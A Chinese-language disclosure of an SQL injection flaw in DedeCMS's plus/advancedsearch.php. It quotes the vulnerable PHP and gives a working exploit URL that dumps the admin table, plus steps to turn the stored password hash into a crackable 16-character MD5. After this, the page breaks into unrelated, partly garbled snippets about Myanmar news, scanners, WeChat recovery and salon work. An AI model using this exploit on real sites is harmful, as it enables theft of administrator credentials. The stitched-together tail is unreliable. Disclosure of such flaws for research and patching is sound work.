漏洞描述:
健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。高效率标签缓存机制:允许对类同的标签进行缓存,在生成 HTML的时候,有利于提高系统反应速度,降低系统消耗的资源。模型与模块概念并存:在模型不能满足用户所有需求的情况下,DedeCMS推出一些互动的模块对系统进行补充,尽量满足用户的需求。
plus/advancedsearch.php
$sql 变量未初始化。导致鸡助漏洞
复制代码代码如下:
if($mid == 0) //必须绕过。
{
showmsg('参数不正确,高级自定义搜索必须指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度。
{
showmsg('自定义搜索模型不存在','-1'); exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题,成功绕过!{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............<*参考
*>
测试 *** :
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码, *** 是,前减3后减1,得到16位MD5
缅甸国防军总司令表示愿与国际社会开展友好合作 新华社仰光2月8日电(记者车宏亮 张东强)缅甸国防军总司令敏昂莱8日晚发表电视讲话时表示,缅方愿与国际社会开展友好合作。 敏昂莱在军方电视台...
在办公室里扫描仪也能够发挥它的功能,有了扫描仪的帮助人们扫描文件会变得更加的简单跟方便,有效提高工作效力。但扫描仪怎么用?没有用过这种产品的人就会好奇它的使用功能,为了解决这个问题小编做了扫描仪使用方...
微信聊天记录删除了怎么恢复听上去相当高深莫测,但事实上并没有我们想象的这么复杂,小编在对多款苹果手机及安卓手机进行测试,并在网上查阅相关教程后,发现恢复过程其实很简单,任何用户都可以参照图文教程完成查...
1.打开手机微信,选择下方菜单的“我”2.点击“设置”,进入设置页面,选择“帮助与反馈”3.在帮助与反馈页面下方,点击选择“快捷帮助”菜单4。 怎样恢复微信聊天记录?现在微信已经和我们的生活进行了绑定...
编辑导读:一个优秀的产物操盘手,对付产物的各个环节必然是清楚而且能落地执行的。本文作者从一次足疗店的体验之旅出发,对店家的销售环节举办了梳理阐明并总结了关于产物运营上的一些思考,一起来看看。 体验是...
美几多容一般1个月阁下就差不多了,美发时间大概就较量几多长时间了,要从洗头工到烫染师再到发型师一般要两年阁下,此刻一般有点局限的店城市适当给一些糊口费,但开始。 尺度谜底是:(1)学美容 假如...